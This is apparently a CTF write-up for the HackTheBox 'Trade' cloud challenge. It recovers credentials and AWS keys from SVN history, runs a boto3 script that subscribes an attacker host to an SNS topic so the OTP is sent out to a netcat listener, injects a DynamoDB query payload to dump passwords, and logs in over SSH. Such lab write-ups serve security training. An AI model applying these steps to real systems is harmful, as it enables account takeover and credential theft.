HackTheBox Business CTF 2022 – Trade

The HackTheBox Business CTF 2022 challenge “Trade” in the “Cloud” category started with the usual nmap scan which revealed the open ports 22, 80, 3690. On port 80, the web interface only presents a login interface.

3690 is the port used by SVN, we can use this to check out the repository by running svn ls svn://10.129.209.231/ ; svn co svn://10.129.209.231/store.

The file dynamo.py from the repository contains the following credentials:

client.put_item(TableName='users',
        Item={
                'username': {
                        'S': 'marcus'
                },
                'password': {
                        'S': 'dFc42BvUs02'
                },
        }
        )

When trying to use these credentials on the web interface, an OTP token is requested next in the login flow.

The checked out repository also contain the history of the repository. There were 5 commits being made. In the 2nd commit, the file sns.py was committed including AWS keys. This version can for example be extracted by running svn cat 'svn://cloud.htb/store/sns.py@2'. The keys were configured at the top of the file:

#!/usr/bin/env python

from __future__ import print_function

import json
import os
import urllib
import zlib

from time import strftime, gmtime
import time

import boto3
import botocore
import concurrent.futures

region = 'us-east-2'
max_threads = os.environ['THREADS']
log_time = os.environ['LOG_TIME']
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

The remainder of the file also shows that S3 and SNS is being used by the application. The key did not work to access S3, but SNS worked. This script was used to list the existing topics:

#!/usr/bin/env python

from __future__ import print_function

import logging
import json
import os
import urllib
import zlib

from time import strftime, gmtime
import time

import boto3
import botocore
import concurrent.futures

# logger config
logger = logging.getLogger()
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s: %(levelname)s: %(message)s')

region = 'us-east-2'
max_threads = 2
log_time = '12345'
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

sns_client = boto3.client('sns', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id)

def list_topics():
    """
    Lists all SNS notification topics using paginator.
    """
    try:

        paginator = sns_client.get_paginator('list_topics')

        # creating a PageIterator from the paginator
        page_iterator = paginator.paginate().build_full_result()

        topics_list = []

        # loop through each page from page_iterator
        for page in page_iterator['Topics']:
            topics_list.append(page['TopicArn'])
    except ClientError:
        logger.exception(f'Could not list SNS topics.')
        raise
    else:
        return topics_list

if __name__ == '__main__':

    logger.info(f'Listing all SNS topics...')
    topics = list_topics()

    for topic in topics:
        logger.info(topic)

Which when ran returned the following:

./list_sns_topics.py                                                                                                                                                                                                      
2022-07-15 20:24:58,956: INFO: Listing all SNS topics...
2022-07-15 20:24:59,383: INFO: arn:aws:sns:us-east-2:000000000000:otp

Using that information, another script was used to subscribe to this topic:

#!/usr/bin/env python

from __future__ import print_function

import logging
import json
import os
import urllib
import zlib

from time import strftime, gmtime
import time

import boto3
import botocore
import concurrent.futures

# logger config
logger = logging.getLogger()
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s: %(levelname)s: %(message)s')

region = 'us-east-2'
max_threads = 2
log_time = '12345'
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

sns_client = boto3.client('sns', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id)

def subscribe(topic, protocol, endpoint):
    try:
        subscription = sns_client.subscribe(
            TopicArn=topic,
            Protocol=protocol,
            Endpoint=endpoint,
            ReturnSubscriptionArn=True)['SubscriptionArn']
    except ClientError:
        logger.exception(
            "Couldn't subscribe {protocol} {endpoint} to topic {topic}.")
        raise
    else:
        return subscription


if __name__ == '__main__':

    topic_arn = 'arn:aws:sns:us-east-2:000000000000:otp'
    protocol = 'http'
    endpoint = 'http://10.10.14.112/'
    logger.info('Subscribing to a SNS topic...')
    response = subscribe(topic_arn, protocol, endpoint)
    logger.info(
        f'Subscribed to a topic successfully.\nSubscription Arn - {response}')

With this a HTTP subscription was setup. A locally started netcat on port 80 was then started, and the login on the webinterface with the credentials from the dynamo.py file was tried again. The netcat received the following request containing the OTP token:

$ sudo nc -vnlp 80                                                                                                                                                                                                          
listening on [any] 80 ...
connect to [10.10.14.112] from (UNKNOWN) [10.129.209.231] 33240
POST / HTTP/1.1
Host: 10.10.14.112
User-Agent: Amazon Simple Notification Service Agent
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/plain
x-amz-sns-message-type: Notification
x-amz-sns-topic-arn: arn:aws:sns:us-east-2:000000000000:otp
x-amz-sns-subscription-arn: arn:aws:sns:us-east-2:000000000000:otp:08232414-0f9d-4f8b-b944-e009e5883611
Content-Length: 529

{"Type": "Notification", "MessageId": "6d600b5d-1136-44be-8d8a-4d720c649e08", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "{\"otp\": \"18012377\"}", "Timestamp": "2022-07-15T18:46:14.618Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "UnsubscribeURL": "http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:08232414-0f9d-4f8b-b944-e009e5883611"}

With that token the login was now finally possible.

None of the shop functionality appeared to function. Adding products to the cart was performed locally in the browser, no request was sent to the web server. Only the search functionality worked.

Sending the payload *" produced the following error message on the search interface:

JSONDecodeError: {"servername": {"ComparisonOperator": "EQ","AttributeValueList": [{"S": "*""}]}}

This points again to DynamoDB. Since the input is not being sanitized, another search clause can be injected into the query. Since the error also includes the full search query, this can be done rather easy. The following payload was used:

*"}]},"servername": {"ComparisonOperator": "GT","AttributeValueList": [{"S": "*

The query processed by the server should now be this:

{
  "servername": {
    "ComparisonOperator": "EQ",
    "AttributeValueList": [{"S": "*"}]
},
  "servername": {
    "ComparisonOperator": "GT",
    "AttributeValueList": [{"S": "*"}]}
}

Which essentially returns all data stored in it, as can be seen here:

With one of the now returned credentials (mario/cD034%hJqW10) it was possible to login on the SSH port of the system and get the flag:

$ ssh mario@cloud.htb                                                                                                                                                                      
mario@cloud.htb's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 15 Jul 2022 07:41:43 PM UTC

  System load:                      0.0
  Usage of /:                       71.8% of 6.53GB
  Memory usage:                     20%
  Swap usage:                       0%
  Processes:                        172
  Users logged in:                  0
  IPv4 address for br-cb9e7140726f: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.129.209.231
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:aac4


195 updates can be applied immediately.
111 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

mario@trade:~$ ls
flag.txt
mario@trade:~$ cat flag.txt 
HTB{dyn4m0_1nj3ct10ns_4r3_w31rd_4bFgc1!}
mario@trade:~$